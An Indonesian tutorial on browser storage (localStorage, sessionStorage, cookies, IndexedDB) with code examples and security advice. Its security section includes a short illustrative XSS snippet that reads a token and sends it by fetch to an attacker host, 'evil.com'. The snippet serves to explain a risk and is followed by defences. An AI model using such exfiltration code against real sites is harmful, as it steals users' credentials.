Web Storage & Cookie
Web Storage dan cookie memungkinkan aplikasi menyimpan data di browser tanpa server. Artikel ini membahas localStorage, sessionStorage, cookie, perbedaannya, serta best practice keamanan dan kasus penggunaan.
Pendahuluan
Aplikasi web modern sering perlu menyimpan data di sisi klien (browser) — misalnya preferensi tema, keranjang belanja, token login, atau draft form. Data ini harus tetap ada meskipun halaman di-refresh atau browser ditutup.
JavaScript menyediakan beberapa mekanisme penyimpanan di browser:
localStorage— data permanen per origin.sessionStorage— data per tab/sesi.- Cookie — data kecil yang dikirim ke server setiap request.
- IndexedDB — database NoSQL di browser untuk data besar.
Artikel ini membahas keempatnya, perbedaannya, kasus penggunaan, serta best practice keamanan.
Asumsi: Anda sudah memahami DOM dan event handling dari artikel sebelumnya. Gunakan DevTools → tab Application untuk melihat storage.
Perbandingan Mekanisme Penyimpanan
| Aspek | localStorage |
sessionStorage |
Cookie | IndexedDB |
|---|---|---|---|---|
| Kapasitas | ~5–10 MB | ~5 MB | ~4 KB per cookie | ~50 MB+ |
| Masa hidup | Permanen (sampai dihapus) | Per tab/sesi | Bisa diatur (expires) | Permanen |
| Dikirim ke server | ❌ | ❌ | ✅ (setiap request) | ❌ |
| API | Synchronous | Synchronous | Synchronous (document.cookie) | Asynchronous |
| Tipe data | String saja | String saja | String saja | Semua tipe (structured) |
| Akses dari JS | ✅ | ✅ | ✅ (kecuali HttpOnly) | ✅ |
| Scope | Per origin | Per tab + origin | Per domain + path | Per origin |
Ringkasan cepat: Gunakan
localStorageuntuk preferensi & data non-sensitif,sessionStorageuntuk data sementara per tab, cookie untuk data yang perlu dikirim ke server (misalnya session ID), dan IndexedDB untuk data besar/terstruktur.
localStorage
Menyimpan data permanen per origin — tetap ada meskipun browser ditutup, sampai dihapus manual atau oleh kode.
API Dasar
// Menyimpan
localStorage.setItem("tema", "dark");
localStorage.setItem("bahasa", "id");
// Mengambil
const tema = localStorage.getItem("tema");
console.log(tema); // "dark"
// Mengambil yang tidak ada
console.log(localStorage.getItem("tidakAda")); // null
// Menghapus satu item
localStorage.removeItem("tema");
// Menghapus semua
localStorage.clear();
// Jumlah item
console.log(localStorage.length);
// Key berdasarkan index
console.log(localStorage.key(0));
Menyimpan Object/Array (JSON)
localStorage hanya bisa menyimpan string. Untuk object/array, gunakan JSON.stringify() dan JSON.parse().
const user = {
id: 1,
nama: "Budi",
preferensi: { tema: "dark", bahasa: "id" }
};
// Simpan
localStorage.setItem("user", JSON.stringify(user));
// Ambil
const stored = localStorage.getItem("user");
if (stored) {
const userData = JSON.parse(stored);
console.log(userData.nama); // "Budi"
}
Helper function untuk kenyamanan:
const storage = {
set(key, value) {
try {
localStorage.setItem(key, JSON.stringify(value));
} catch (e) {
console.error("Gagal menyimpan:", e);
}
},
get(key, defaultValue = null) {
try {
const item = localStorage.getItem(key);
return item ? JSON.parse(item) : defaultValue;
} catch (e) {
console.error("Gagal membaca:", e);
return defaultValue;
}
},
remove(key) {
localStorage.removeItem(key);
},
clear() {
localStorage.clear();
}
};
// Penggunaan
storage.set("user", { nama: "Budi" });
const user = storage.get("user", {});
console.log(user.nama); // "Budi"
Iterasi Semua Item
// Cara 1: for loop
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
console.log(`${key}: ${localStorage.getItem(key)}`);
}
// Cara 2: Object.keys (localStorage adalah object-like)
Object.keys(localStorage).forEach(key => {
console.log(`${key}: ${localStorage.getItem(key)}`);
});
Event storage — Sinkronisasi Antar Tab
Event storage dipicu di tab lain (bukan tab yang mengubah) saat localStorage berubah. Berguna untuk sinkronisasi state antar tab.
window.addEventListener("storage", (e) => {
console.log("Key:", e.key);
console.log("Nilai lama:", e.oldValue);
console.log("Nilai baru:", e.newValue);
console.log("URL:", e.url);
if (e.key === "tema") {
terapkanTema(e.newValue);
}
});
Catatan: Event
storagetidak dipicu di tab yang melakukan perubahan — hanya di tab lain dari origin yang sama.
Batasan localStorage
- Hanya string — object harus di-JSON-kan.
- Synchronous — operasi besar bisa memblokir main thread.
- Kapasitas terbatas (~5–10 MB).
- Tidak aman untuk data sensitif — bisa diakses JavaScript (rentan XSS).
- Tidak bisa diakses di private mode (Safari lama) — bisa throw error.
Error handling:
try {
localStorage.setItem("data", "x".repeat(10 * 1024 * 1024)); // 10 MB
} catch (e) {
if (e.name === "QuotaExceededError") {
console.error("Storage penuh!");
}
}
sessionStorage
Mirip localStorage, tetapi data hanya bertahan selama sesi tab. Data hilang saat tab ditutup.
API (Sama dengan localStorage)
sessionStorage.setItem("draft", "Teks draft...");
const draft = sessionStorage.getItem("draft");
sessionStorage.removeItem("draft");
sessionStorage.clear();
Kapan Menggunakan sessionStorage?
- Draft form — agar tidak hilang saat refresh, tetapi hilang saat tab ditutup.
- State sementara — misalnya langkah wizard multi-step.
- Data per tab — misalnya filter yang berbeda di setiap tab.
// Simpan draft form
const form = document.querySelector("#form");
form.addEventListener("input", () => {
const data = Object.fromEntries(new FormData(form));
sessionStorage.setItem("draft-form", JSON.stringify(data));
});
// Restore saat halaman dimuat
window.addEventListener("DOMContentLoaded", () => {
const draft = sessionStorage.getItem("draft-form");
if (draft) {
const data = JSON.parse(draft);
Object.entries(data).forEach(([key, value]) => {
const input = form.elements[key];
if (input) input.value = value;
});
}
});
// Hapus draft setelah submit berhasil
form.addEventListener("submit", (e) => {
e.preventDefault();
// ... kirim data ...
sessionStorage.removeItem("draft-form");
});
Perbedaan localStorage vs sessionStorage
// Di tab 1
localStorage.setItem("a", "1"); // terlihat di semua tab
sessionStorage.setItem("b", "2"); // hanya di tab ini
// Buka tab 2 (origin sama)
console.log(localStorage.getItem("a")); // "1" — bisa diakses
console.log(sessionStorage.getItem("b")); // null — tidak bisa diakses
Catatan:
sessionStoragejuga terpisah per tab, tetapi dibagi jika tab dibuka viawindow.open()dari tab yang sama (di beberapa browser).
Cookie
Cookie adalah data kecil yang disimpan di browser dan dikirim ke server pada setiap request HTTP ke domain yang sama.
Kapan Menggunakan Cookie?
- Session ID — untuk autentikasi (biasanya
HttpOnly). - Preferensi yang perlu diketahui server (misalnya bahasa).
- Tracking (analytics, iklan) — biasanya pihak ketiga.
⚠️ Peringatan: Untuk data yang tidak perlu dikirim ke server, gunakan
localStorage/sessionStorage— lebih efisien dan tidak membebani request.
Membaca Cookie
Semua cookie diakses melalui satu string document.cookie:
console.log(document.cookie);
// "tema=dark; bahasa=id; session_id=abc123"
Menulis Cookie
document.cookie = "tema=dark";
Menambah cookie lain (tidak menimpa, kecuali nama sama):
document.cookie = "bahasa=id";
// document.cookie sekarang: "tema=dark; bahasa=id"
Dengan atribut:
document.cookie = "tema=dark; path=/; max-age=86400; SameSite=Lax";
| Atribut | Arti |
|---|---|
path=/ |
Cookie tersedia di seluruh situs |
path=/admin |
Cookie hanya di path /admin |
max-age=86400 |
Masa hidup dalam detik (1 hari) |
expires=... |
Tanggal kedaluwarsa (format UTC) |
domain=.example.com |
Cookie tersedia di subdomain |
Secure |
Hanya dikirim via HTTPS |
HttpOnly |
Tidak bisa diakses JavaScript (hanya server) |
SameSite=Strict/Lax/None |
Kontrol pengiriman lintas situs |
Contoh dengan expires:
const date = new Date();
date.setTime(date.getTime() + 7 * 24 * 60 * 60 * 1000); // 7 hari
document.cookie = `tema=dark; expires=${date.toUTCString()}; path=/`;
Menghapus Cookie
Set max-age=0 atau expires di masa lalu:
document.cookie = "tema=; max-age=0; path=/";
Catatan: Atribut
pathdandomainharus sama dengan saat cookie dibuat agar penghapusan berhasil.
Helper Function untuk Cookie
const cookieHelper = {
set(name, value, days = 7) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
document.cookie = `${name}=${encodeURIComponent(value)}; expires=${date.toUTCString()}; path=/; SameSite=Lax`;
},
get(name) {
const cookies = document.cookie.split("; ");
for (const cookie of cookies) {
const [key, ...rest] = cookie.split("=");
if (key === name) {
return decodeURIComponent(rest.join("="));
}
}
return null;
},
remove(name) {
document.cookie = `${name}=; max-age=0; path=/`;
}
};
// Penggunaan
cookieHelper.set("tema", "dark");
console.log(cookieHelper.get("tema")); // "dark"
cookieHelper.remove("tema");
Cookie HttpOnly dan Secure
HttpOnly— cookie tidak bisa diakses viadocument.cookie. Hanya bisa di-set oleh server. Ini mencegah pencurian cookie via XSS.Secure— cookie hanya dikirim via HTTPS.
// Cookie HttpOnly TIDAK bisa di-set dari JavaScript!
// Harus di-set oleh server via header Set-Cookie:
// Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
Penting untuk keamanan: Cookie session/token autentikasi harus
HttpOnly+Secure+SameSite. Jangan pernah menyimpan token autentikasi dilocalStorage(rentan XSS).
SameSite — Perlindungan CSRF
| Nilai | Perilaku |
|---|---|
Strict |
Cookie tidak dikirim pada request lintas situs |
Lax (default) |
Cookie dikirim pada navigasi top-level (klik link), tidak pada request POST lintas situs |
None |
Cookie selalu dikirim (wajib Secure) |
document.cookie = "pref=dark; SameSite=Strict; Secure; path=/";
IndexedDB — Untuk Data Besar
IndexedDB adalah database NoSQL di browser untuk menyimpan data terstruktur dalam jumlah besar. API-nya asynchronous dan lebih kompleks.
Kapan Menggunakan IndexedDB?
- Data > 5 MB.
- Menyimpan file/blob (gambar, audio).
- Cache data API untuk offline (PWA).
- Data terstruktur dengan index.
Contoh Dasar
// Buka database
const request = indexedDB.open("TokoDB", 1);
request.onupgradeneeded = (e) => {
const db = e.target.result;
if (!db.objectStoreNames.contains("produk")) {
const store = db.createObjectStore("produk", { keyPath: "id", autoIncrement: true });
store.createIndex("nama", "nama", { unique: false });
}
};
request.onsuccess = (e) => {
const db = e.target.result;
console.log("Database terbuka");
// Tambah data
const tx = db.transaction("produk", "readwrite");
const store = tx.objectStore("produk");
store.add({ nama: "Keyboard", harga: 450000 });
tx.oncomplete = () => {
console.log("Data tersimpan");
// Baca data
const tx2 = db.transaction("produk", "readonly");
const store2 = tx2.objectStore("produk");
const getAll = store2.getAll();
getAll.onsuccess = () => {
console.log(getAll.result);
};
};
};
request.onerror = (e) => {
console.error("Gagal membuka database:", e.target.error);
};
Library Pembungkus
API IndexedDB mentah sangat verbose. Untuk penggunaan praktis, gunakan library:
idb— pembungkus kecil dan modern.localForage— API miriplocalStorage, mendukung IndexedDB di belakang layar.
// Contoh dengan localForage
import localforage from "localforage";
await localforage.setItem("user", { nama: "Budi" });
const user = await localforage.getItem("user");
console.log(user.nama); // "Budi"
Catatan: Detail IndexedDB dibahas di artikel terpisah. Untuk sebagian besar kasus,
localStorageatau library sepertilocalForagesudah cukup.
Keamanan: Apa yang Boleh Disimpan?
❌ JANGAN Simpan di localStorage/sessionStorage
- Token autentikasi (JWT, session token) — rentan XSS.
- Password — dalam bentuk apa pun.
- Data pribadi sensitif (KTP, kartu kredit, nomor telepon).
- API key rahasia — bisa diakses siapa saja yang membuka DevTools.
✅ AMAN Disimpan di localStorage/sessionStorage
- Preferensi tampilan (tema, bahasa, font size).
- Keranjang belanja (non-sensitif).
- Draft form (non-sensitif).
- State UI (tab aktif, filter).
- Data cache non-sensitif.
Mengapa localStorage Tidak Aman untuk Token?
JavaScript di halaman bisa mengakses localStorage. Jika ada XSS (Cross-Site Scripting) — misalnya library yang rentan atau input user yang tidak disanitasi — penyerang bisa mencuri token:
// Penyerang menyisipkan script ini via XSS:
const stolen = localStorage.getItem("token");
fetch("https://evil.com/steal", { method: "POST", body: stolen });
Solusi untuk autentikasi:
- Simpan token di cookie
HttpOnly+Secure+SameSite— tidak bisa diakses JavaScript. - Terapkan CSRF protection (misalnya CSRF token).
- Gunakan Content Security Policy (CSP) untuk memitigasi XSS.
- Sanitasi semua input user.
Contoh Praktis
1. Tema Dark/Light dengan localStorage
// Terapkan tema saat halaman dimuat
function terapkanTema(tema) {
document.body.classList.toggle("dark-mode", tema === "dark");
btnTema.textContent = tema === "dark" ? "☀️" : "🌙";
}
// Muat preferensi
const temaTersimpan = localStorage.getItem("tema") || "light";
terapkanTema(temaTersimpan);
// Toggle
btnTema.addEventListener("click", () => {
const temaBaru = document.body.classList.contains("dark-mode") ? "light" : "dark";
localStorage.setItem("tema", temaBaru);
terapkanTema(temaBaru);
});
// Sinkronisasi antar tab
window.addEventListener("storage", (e) => {
if (e.key === "tema") terapkanTema(e.newValue);
});
2. Keranjang Belanja dengan localStorage
const keranjang = {
items: JSON.parse(localStorage.getItem("keranjang") || "[]"),
simpan() {
localStorage.setItem("keranjang", JSON.stringify(this.items));
},
tambah(produk) {
const existing = this.items.find(i => i.id === produk.id);
if (existing) {
existing.jumlah++;
} else {
this.items.push({ ...produk, jumlah: 1 });
}
this.simpan();
this.render();
},
hapus(id) {
this.items = this.items.filter(i => i.id !== id);
this.simpan();
this.render();
},
total() {
return this.items.reduce((sum, i) => sum + i.harga * i.jumlah, 0);
},
render() {
const container = document.querySelector("#keranjang");
container.innerHTML = "";
this.items.forEach(item => {
const div = document.createElement("div");
div.textContent = `${item.nama} x${item.jumlah} = Rp${item.harga * item.jumlah}`;
container.appendChild(div);
});
const totalEl = document.querySelector("#total");
totalEl.textContent = `Total: Rp${this.total().toLocaleString("id-ID")}`;
}
};
keranjang.render();
3. Form Draft dengan sessionStorage
const form = document.querySelector("#form-produk");
const DRAFT_KEY = "draft-produk";
// Simpan draft saat input berubah
form.addEventListener("input", () => {
const data = Object.fromEntries(new FormData(form));
sessionStorage.setItem(DRAFT_KEY, JSON.stringify(data));
});
// Restore draft saat dimuat
window.addEventListener("DOMContentLoaded", () => {
const draft = sessionStorage.getItem(DRAFT_KEY);
if (!draft) return;
const data = JSON.parse(draft);
Object.entries(data).forEach(([name, value]) => {
const input = form.elements[name];
if (input) input.value = value;
});
});
// Hapus draft setelah submit
form.addEventListener("submit", (e) => {
e.preventDefault();
// ... proses submit ...
sessionStorage.removeItem(DRAFT_KEY);
form.reset();
});
4. Menyimpan Preferensi User dengan Cookie
// Simpan bahasa
function setBahasa(lang) {
document.cookie = `bahasa=${lang}; max-age=${365 * 24 * 60 * 60}; path=/; SameSite=Lax`;
}
// Baca bahasa
function getBahasa() {
const match = document.cookie.match(/(?:^|;\s*)bahasa=([^;]*)/);
return match ? decodeURIComponent(match[1]) : "id";
}
// Ganti bahasa
document.querySelector("#pilih-bahasa").addEventListener("change", (e) => {
setBahasa(e.target.value);
location.reload(); // reload untuk menerapkan
});
Tips & Best Practice
-
Gunakan
localStorageuntuk preferensi & data non-sensitif yang perlu permanen. -
Gunakan
sessionStorageuntuk data sementara per tab (draft, state wizard). -
Gunakan cookie hanya untuk data yang perlu dikirim ke server (session ID, preferensi server).
-
Jangan simpan token autentikasi di
localStorage/sessionStorage— gunakan cookieHttpOnly. -
Selalu gunakan
JSON.stringify()/JSON.parse()untuk object/array. -
Bungkus dengan
try/catch—localStoragebisa throw error (quota, private mode). -
Sanitasi data sebelum menampilkan — jangan gunakan
innerHTMLdengan data dari storage. -
Untuk data besar (> 5 MB), gunakan IndexedDB (atau
localForage). -
Bersihkan data lama — hapus data yang tidak lagi diperlukan untuk menghindari penumpukan.
-
Gunakan
SameSite=Lax(default) untuk cookie — mitigasi CSRF.
Ringkasan
| Mekanisme | Kapasitas | Masa Hidup | Dikirim ke Server | Kasus Penggunaan |
|---|---|---|---|---|
localStorage |
~5–10 MB | Permanen | ❌ | Preferensi, keranjang, cache |
sessionStorage |
~5 MB | Per tab | ❌ | Draft form, state sementara |
| Cookie | ~4 KB | Bisa diatur | ✅ | Session ID, preferensi server |
| IndexedDB | ~50 MB+ | Permanen | ❌ | Data besar, file, cache offline |
Poin penting:
localStorage/sessionStoragehanya string — gunakan JSON untuk object.- Cookie dikirim ke server setiap request — jangan simpan data besar di cookie.
- Jangan simpan token autentikasi di
localStorage— rentan XSS. Gunakan cookieHttpOnly+Secure+SameSite. sessionStorageterpisah per tab — cocok untuk draft form.- Event
storagememungkinkan sinkronisasi antar tab. - IndexedDB untuk data besar (> 5 MB) — API kompleks, gunakan library seperti
idb/localForage. - Selalu sanitasi data dari storage sebelum menampilkan.
Pada artikel berikutnya, kita akan membahas ES6+ Fitur Modern — let/const, template literal, destructuring, spread, module, class, dan lainnya.